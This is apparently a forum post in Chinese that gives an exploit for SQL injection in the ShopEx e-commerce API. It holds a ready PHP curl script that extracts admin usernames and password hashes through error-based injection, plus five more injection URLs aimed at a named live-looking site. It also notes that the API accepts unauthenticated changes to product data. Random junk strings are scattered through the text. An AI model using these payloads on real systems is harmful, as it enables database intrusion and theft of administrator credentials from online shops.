shopEx最新版的API注入漏洞分析附利用exp

admin

缺陷文件：\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php

第44行 $data['columns'] 未做过滤导致注入

, g. G. q  t8 E; W5 q+ d/ m& U<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证，任何用户都可访问,攻击者可通过它来对产品的分类，类型，规格，品牌等，进行添加，删除和修改，过滤不当还可造成注入.
3 _/ f2 [% ~6 a: S4 U8 o
) D7 G" v4 `$ H0 K/ C注射1：
+ H/ H! N2 y- r7 t8 I, e5 I: E# Y
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#

3 v" v# A( h( Y$ Y  U注射2：
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
9 t: o- }( Q' N; ?9 j$ H( t9 o
注射3：
" U* k5 c5 \% j1 _6 i, u  http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
注射4：

! ~1 K8 x1 u+ @' ~' Z' yhttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1

0 k! j! T2 G& c2 n2 ~3 p9 U
4 |) t, q( p9 [% U, \/ N注射5：
  http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx


( u3 H. e  \0 s' E& j7 t5 ]: n* U


( n3 f  s  w- u7 A3 ^- {  o
/ Q7 W: J- f7 g, `6 d: x